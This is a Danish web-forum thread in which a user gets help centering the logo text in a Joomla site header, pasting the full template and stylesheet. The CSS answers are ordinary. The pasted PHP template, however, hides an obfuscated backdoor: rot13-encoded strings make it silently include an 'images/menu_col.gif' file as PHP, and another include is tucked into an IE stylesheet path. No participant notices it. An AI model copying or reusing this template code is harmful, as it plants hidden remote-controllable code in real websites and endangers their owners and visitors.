Avatar billede knallertjoe Praktikant
05. marts 2011 - 16:27 Der er 14 kommentarer

Centrering af tekst

Hej med jer.
Jeg sysler med siden:
http://rikke.sidsteojeblik.dk

Jeg vil gerne have centreret teksten i logoet "Psykoterapeut Rikke Davidsen"
Sådan som det er lige p.t. bliver teksten ikke 100 % centreret. Der regnes det lille logo til venstre med i centreringen, således at teksten kommer til at stå lidt til højre for midten. Jeg vil gerne have teksten til at stå 100 % i midten.

Er der nogen der kan hjælpe?

.logo{
    display: block;
    padding-top:5px;
    width:100%;
}
a.logo,a.logo:link,a.logo:hover, a.logo:visited{
    font-size:28px;
    line-height: 58px;
    color: #2B1709;
    text-decoration:none;
          text-align:center;
    font-weight:bold;
    font-family:"Palatino Linotype", "Book Antiqua", Palatino, serif;
Avatar billede olebole Juniormester
05. marts 2011 - 17:17 #1
<ole>

Positioner logoet absolut og giv det left:0 - men husk at positioner det omkransende element relativt. Se første eksempel i dit andet spørgsmål:
    http://www.eksperten.dk/spm/933308

Du kan også bruge floats som i andet eksempel

/mvh
</bole>
Avatar billede tjens Nybegynder
05. marts 2011 - 21:51 #2
Fjern image tag fra html, og sæt det på i CSS under id h_area som background-image.
Avatar billede olebole Juniormester
05. marts 2011 - 23:08 #3
Det står ingen steder skrevet, men må vel nærmest betragtes som de facto standard, at et logo i toppen linker til index siden. Ellers ville jeg også foretrække baggrundsbilledet  =)
Avatar billede tjens Nybegynder
05. marts 2011 - 23:20 #4
#3 Enig, men på den konkrete side er hele toppen med den centrede tekst allerede et link til hovedsiden, i kraft af css class .logo

Hvis billedet flytter til background, vil billedet også virke som et link i praksis.
Avatar billede olebole Juniormester
06. marts 2011 - 17:04 #5
I den anden tråd (nævnt tidligere) skriver du, at du har problemer med at positionere. Det kan skyldes mange ting, men du kunne jo prøve tjens' udmærkede forslag med i stedet at lægge logoet som baggrundsbillede. I princippet på denne måde:


<div style="height:200px;font:bold 30px verdana,sans-serif;text-align:center;background:url(http://www.eksperten.dk/images/eksperten_logo.gif) no-repeat">
    Blablabla blabla blablabla
</div>

Avatar billede olebole Juniormester
06. marts 2011 - 17:05 #6
- kopier koden over i et tomt HTML dokument og prøv det i en browser  ;o)
Avatar billede knallertjoe Praktikant
07. marts 2011 - 22:44 #7
Jeg beklager at skulle spørge igen, men jeg har indset, at jeg ikke er nogen CSS / HTML nørd.

Jeg giver hermed min CSS og HTML, og så håber jeg at i kan hjælpe mig videre.

Jeg kan sige, at jeg har lavet siden i Joomla.

Min HTML:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>   
<?php include('functions.php'); ?>

<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="company logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Home"><?php echo $mainframe->getCfg('sitename') ;?></a><br clear="all" /></div>

<div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><br clear="all" /></div>

<?php if($this->params->get('hideBannerArea') == 0) : ?>
    <?php if((JRequest::getVar('view') != 'frontpage' and $this->params->get('hideBannerAreaInternal') == 0) or JRequest::getVar('view') == 'frontpage') : ?>
        <div id="main_top" class="banner"><jdoc:include type="modules" name="top" /></div>
    <?php endif; ?>   
<?php endif; ?>   

<div id="main_bg"><?php if($this->countModules('left')) : ?><div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
          elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
          else $maincol_sufix = ''; ?>
    <div id="maincolumn<?php echo $maincol_sufix; ?>">
        <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
        <div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    <div id="rightcolumn">
        <?php if($this->countModules('user4')) : ?><div class="moduletable_menu"><div><div><div><h3>Search</h3><jdoc:include type="modules" name="user4" /></div></div></div></div><?php endif; ?>
        <jdoc:include type="modules" name="right" style="xhtml"/>
        <br />
        <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    </div>
    <?php endif; ?>
    <br clear="all" />
</div>   
   
<div id="f_area">
    <?php if($this->countModules('user1')) : ?>
        <jdoc:include type="modules" name="user1" style="xhtml" />
    <?php endif; ?>
    <?php if($this->countModules('user2')) : ?>
        <jdoc:include type="modules" name="user2" style="xhtml" />
    <?php endif; ?>
    <br clear="all" />
</div>

<div style="position:relative;text-align:center;font-weight:bold;font-size:16px;color:white;margin-top:3px;margin-bottom:3px;margin-right:30px;margin-left:30px;">
    <div style="position:absolute;left:0;top:0">KONTAKT HELT UFORPLIGTENDE</div>
    RIKKEDAVIDSEN@PSYKOTERAPI-KOLDING.DK
    <div style="position:absolute;right:0;top:0">TLF: 3123 7383</div>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>










Min CSS:
/*****************************/
/*** Core html setup stuff ***/
/*****************************/

html {
  height: 100%;
  margin-bottom: 1px;
}

form {
  display:inline;
}

body {
    margin: 0px 0px 0px 0px;
    width: 100%;
    display: table;
}

body, td{
    font-family: "Trebuchet MS";
    font-size: 13px;
    color: #333;
    line-height: 1.3em;
}

a:link, a:visited {
    text-decoration: none;
    font-weight: normal;
}

a:hover {
    text-decoration: underline;
    font-weight: normal;
}

input.button { cursor: pointer; }

p { margin-top: 0; margin-bottom: 5px; }

img { border: 0 none; margin:0px; }

/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
    padding: 0px;
    margin: 0px;
    margin-bottom: 0px;
}

div#top_menu{
    height:49px;
    margin:0px auto;
    width: 980px;
}

#topnav{ float:left; height: 49px; width:978px; margin: 0px; padding:0px; font-weight: bold; }
#topnav ul { margin: 0px 0px 0px 11px; padding: 0; width: auto; float: left; list-style-type:none; }
#topnav ul li{ margin: 0; padding: 0; height: 49px; float: left; position: relative; }
#topnav ul li a{ color: #FFFFFF; font-weight: bold; text-decoration: none; padding: 13px 10px 0px 10px; height:36px; display: block; float: left; }
#topnav ul li a:hover{ background-color: #444444; text-decoration: none; font-weight: bold; color: #fff; }
#topnav ul li ul ul { margin: -50px 0 0 297px; z-index: 100; }
#topnav ul li li { width:auto; height: 35px; }
#topnav ul li li a { color: #FFF; text-transform: none; display: block; background: none; width: 277px; border-top: 1px solid #DDDDDD; border-left: 0px; padding: 9px 10px 6px 10px; height:20px; }
#topnav ul li li a:hover{ background: none; background-color: #333333; left: 0; width: 277px; padding: 9px 10px 6px 10px; height:20px; border-top: 1px solid #DDDDDD; }
#topnav ul li ul { left: -999em; top: 49px; left: 0; display: block; height: 36px; width: 277px; position: absolute; z-index: 99; left: -999em; clear: left; margin-top: 0px; margin-left: 0px; }
#topnav ul li:hover ul ul, #topnav ul li:hover ul ul ul { left: -999em; }
#topnav ul li:hover ul, #topnav ul li li:hover ul, #topnav ul li li li:hover ul { left: auto; }

#top_menu_left{
    background: url(../images/top_menu_left.png) top left no-repeat;
    float:left;
    width: 14px;
    height: 54px;
    margin:0px;
    padding:0px;
}
#top_menu_right{
    background: url(../images/top_menu_right.png) top right no-repeat;
    float:left;
    width: 14px;
    height: 54px;
    margin:0px;
    padding:0px;
}

div#h_area{
    margin:0px auto;
    width: 963px;
    height: 70px;
    text-align:left;
    padding-left:15px;
    border-bottom:1px solid #FFF;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    background:#FDE1A9 url(../images/h_area_bg.png) repeat-x;
}


.logo{
    display: block;
    padding-top:5px;
    width:100%;
}
a.logo,a.logo:link,a.logo:hover, a.logo:visited{
    font-size:28px;
    line-height: 58px;
    color: #2B1709;
    text-decoration:none;
        text-align:center;
    font-weight:bold;
    font-family:"Palatino Linotype", "Book Antiqua", Palatino, serif;
}


div#main_bg{
    margin:0px auto;
    width: 978px;
    text-align:left;
    background: #FFFFFF;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
}
div#main_top{
    margin:0px auto;
    padding:0px;
    width: 978px;
    height: 245px;
    border-top:1px solid white;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
}

div.banner{ background: #F3F3EB url(../images/banner.jpg) top center no-repeat; }
div#main_top table.contentpaneopen{
    padding:0px;
    margin-top:50px;
    margin-right:60px;
    width:430px;
    height:160px;
    overflow: auto;
    text-align:left;
    float:right;
}
div#main_top table.contentpaneopen td{
    font-family:"Palatino Linotype", "Book Antiqua", Palatino, serif;
    color:#FFF;
}
div#main_top table.contentpaneopen td a:link, div#main_top table.contentpaneopen td a:hover{
    font-family:"Palatino Linotype", "Book Antiqua", Palatino, serif;
    color:#FFF;
}

.search {
    text-align:left;
    width: 156px;
    height:43px;
}
.search .inputbox {
    background:#FFFFFF;
    width: 156px;
    height: 17px;
    font-size: 11px;
    color: #454545;
    margin:9px 0px 0px 20px;
    border: 1px solid #D3D3D3;
}


#leftcolumn{
    margin-left:9px;
    padding:0px;
    width:205px;
    float:left;
}
#rightcolumn{
    margin-right:9px;
    padding:0px;
    width:205px;
    float:right;
}

#maincolumn{
    width:530px;
    float:left;
    margin:0px 5px 0px 5px;
    padding:0px;
    overflow:hidden;
}
#maincolumn_middle{
    width: 740px;
    float:left;
    margin:0px 5px 0px 5px;
    padding:0px;
    overflow:hidden;
}
#maincolumn_big{
    width: 967px;
    float:left;
    margin:0px 5px 0px 5px;
    padding:0px;
    overflow:hidden;
}

div.path{
    margin:10px 0 0 0px;
    padding: 5px;
    padding-left:30px;
}

div.nopad {
    float:left;
    padding:0 0px 15px 0px;
}

div.nopad ul {
    clear: both;
}
.article_separator {
    height:35px;
    line-height:35px;
}
form#form-login fieldset {
    border: none;
    margin: 0;
    margin-left:10px;
}
form#form-login ul li{
    padding: 0;
}

form#form-login ul li a {
    text-align: left;
    padding: 0px;
    font-size: 10px;
    color: #858585;
}

#leftcolumn div.module_menu, #leftcolumn div.module{
    margin: 10px 0px 0px 0px;
    padding:0px;
    width: 205px;
}
.article_column {
    padding-right:10px;
}
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
    margin: 10px 0px 0px 0px;
    padding: 0px;
    width: 205px;
}
div.bannergroup_text {
    margin:0px 13px 15px 13px;
}
.bannerheader {
    font-weight:bold;
    margin-bottom:10px;
}
.banneritem_text {
    margin-bottom:10px;
}
.bannerfooter_text {
    margin-bottom:10px;
}
#leftcolumn div.module_menu  div div div, #leftcolumn div.module div div div,
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
    background: url(../images/rub_bottom.png) center bottom no-repeat;
}
#leftcolumn div.module_menu  div div div, #leftcolumn div.module div div{
    margin: 0px;
    padding: 0px;
    padding-bottom:5px;
    width: 205px;
    height:auto;
}

#leftcolumn div.module_menu div div div div, #leftcolumn div.module div div div div{
    background: none;
    padding:4px 8px;
}
table.poll thead td {
    text-align: left;
    padding-left:10px;
}
table.poll td {
    text-align: left;
}
#leftcolumn ul.menu li ul{
    list-style: none;
}
.pollstableborder {
    margin: 5px 0px 10px 0px;
}
.poll td div{
    display:inline;
}

/* forms */

#leftcolumn .moduletable ul,
#rightcolumn .moduletable ul {
    margin: 6px 0;
    padding: 0;
    list-style: none;
}

#leftcolumn .moduletable ul li,
#rightcolumn .moduletable ul li {
    margin: 0;
    padding: 0 2px;
}
.moduletable ul {
    padding:5px 10px 5px 12px;
    margin:0px;
}

.moduletable ul li {
    padding:0px 10px 5px 15px;
    margin:0px;
    line-height:18px;
}
#leftcolumn ul.menu li#current ul li,
#rightcolumn ul.menu li#current ul li {
    margin: 0px;
    padding: 0px;
}
ul.menu {
    padding:5px 10px 5px 12px;
    margin:0px;
}
ul.menu li{
    padding:0px 10px 5px 15px;
    margin:0px;
}

ul.menu li ul {
    padding:0px 0px 5px 0px;
    margin:0px;
}
ul.menu li ul li{
    padding:0px 0px 0px 15px;
    border:none;
}
ul.menu li#current ul li a{
    margin-left:15px;
    text-decoration:none;
}
ul.mostread {
    padding:5px 10px 5px 12px;
    margin:0px;
}
ul.mostread li{
    padding:0px 10px 5px 15px;
    margin:0px;
    line-height:18px;
}
ul.latestnews {
    padding:5px 10px 5px 12px;
    margin:0px;
}
ul.latestnews li{
    padding:0px 10px 5px 15px;
    margin:0px;
    line-height:18px;
}
div.componentheading{
    font-size:19px;
    margin:7px auto;
    color:#2B1709;
}
td.contentheading{
    font-weight:normal;
    vertical-align:top;
    font-size:19px;
    height:30px;
    color:#2B1709;
}
table.contentpaneopen td.contentheading{
    padding-left:34px;
}
table.contentpaneopen{
    border-collapse: collapse;
    margin-left:5px;
}
td.buttonheading{
    padding:0px 2px 0px 2px;
}
table.contentpaneopen td{
    padding:0px;
}
.contentpaneopen p{
    line-height:22px;
}
span.small, td.createdate, td.modifydate{
    font-size:11px;
    color:#999999;
}
span.pagination span, span.pagination a{
    padding:5px;
}



div#f_area{
    background: #96b07f;
    border-left:1px solid #CCC;
    border-right:1px solid #CCC;
    border-bottom:1px solid #CCC;
    margin:0px auto;
    width: 978px;
    text-align:left;
    margin-bottom:3px;
}
#f_area div.moduletable, #f_area div.moduletable_menu{
    float: left;
    margin:10px 4px 10px 6px;
    width: 234px;
}
#f_area h3{
    text-align: left;
    height: 51px;
    width: 178px;
    line-height: 51px;
    color:#000000;
    font-size:19px;   
    font-family:"Trebuchet MS", Tahoma, Verdana;
    margin:0px;
    padding-left: 56px;
}

/* System Standard Messages */
#system-message { margin-bottom: 20px; }

#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;}

/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;}

#syndicate{
    float:left;
    padding-left: 25px;
}
Avatar billede olebole Juniormester
07. marts 2011 - 22:55 #8
Umiddelbart tror jeg, der er tale om denne her:


.logo{
    display: block;
    padding-top:5px;
    width:100%;
    background: url(sti/til/logo2.gif) no-repeat;
}

Avatar billede knallertjoe Praktikant
07. marts 2011 - 23:04 #9
Skal den tilrettes til det du har skrevet?

Og hvad skal fjernes andetsteds?
Avatar billede olebole Juniormester
07. marts 2011 - 23:17 #10
Ja, koden for 'logo' divet, skal du bare skifte med den, jeg skrev - og så skal billedet fjernes fra det sted, du har det liggende nu
Avatar billede knallertjoe Praktikant
07. marts 2011 - 23:18 #11
Jeg har nu:

.logo{
    display: block;
    padding-top:5px;
    width:100%;
    background: url(../images/logo2.gif) no-repeat;
}
Avatar billede knallertjoe Praktikant
07. marts 2011 - 23:22 #12
Jeg har skrevet en personlig besked til dig.
Avatar billede olebole Juniormester
08. marts 2011 - 00:00 #13
- svaret  =)
Avatar billede olebole Juniormester
08. marts 2011 - 16:34 #14
Spørger og jeg sludrede videre ad andre kanaler, og jeg lægger hermed lige løsningen tilgængelig for andre:


.logo{
    display: block;
    padding-top:5px;
    width:100%;
}
a.logo,a.logo:link,a.logo:hover, a.logo:visited{
    font-size:28px;
    line-height: 58px;
    color: #2B1709;
    text-decoration:none;
        text-align:center;
    font-weight:bold;
    font-family:"Palatino Linotype", "Book Antiqua", Palatino, serif;
  /* Her skal baggrundsbilledet angives*/
    background: url(/templates/themza_j15_67/images/logo2.gif) no-repeat;
}



- og så skal logoet fjernes fra HTML'en, som kom til at se sådan ud:


<div id="h_area"><a href="index.php" class="logo" title="Home"><?php echo $mainframe->getCfg('sitename') ;?></a><br clear="all" /></div>



Jeg kommer her efterhånden sjældent, så jeg samler ikke længere points - men man kunns sagtens forestille sig, tjens gerne vil modtage lidt for deltagelsen  =)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester



Seneste spørgsmål Seneste aktivitet
I dag 14:04 Pixeline cd’er til PC Af Mathilde i Windows
I dag 01:14 Windows 10 - IIS 10 Af bsn i Windows
I går 20:39 Boot fra USB Af poulmadsen i Windows
I går 11:43 Gmail-ikon på skrivebordet Win 10 Af ErikHg i Fri debat
I går 09:22 Lopslag Af Luffe i Excel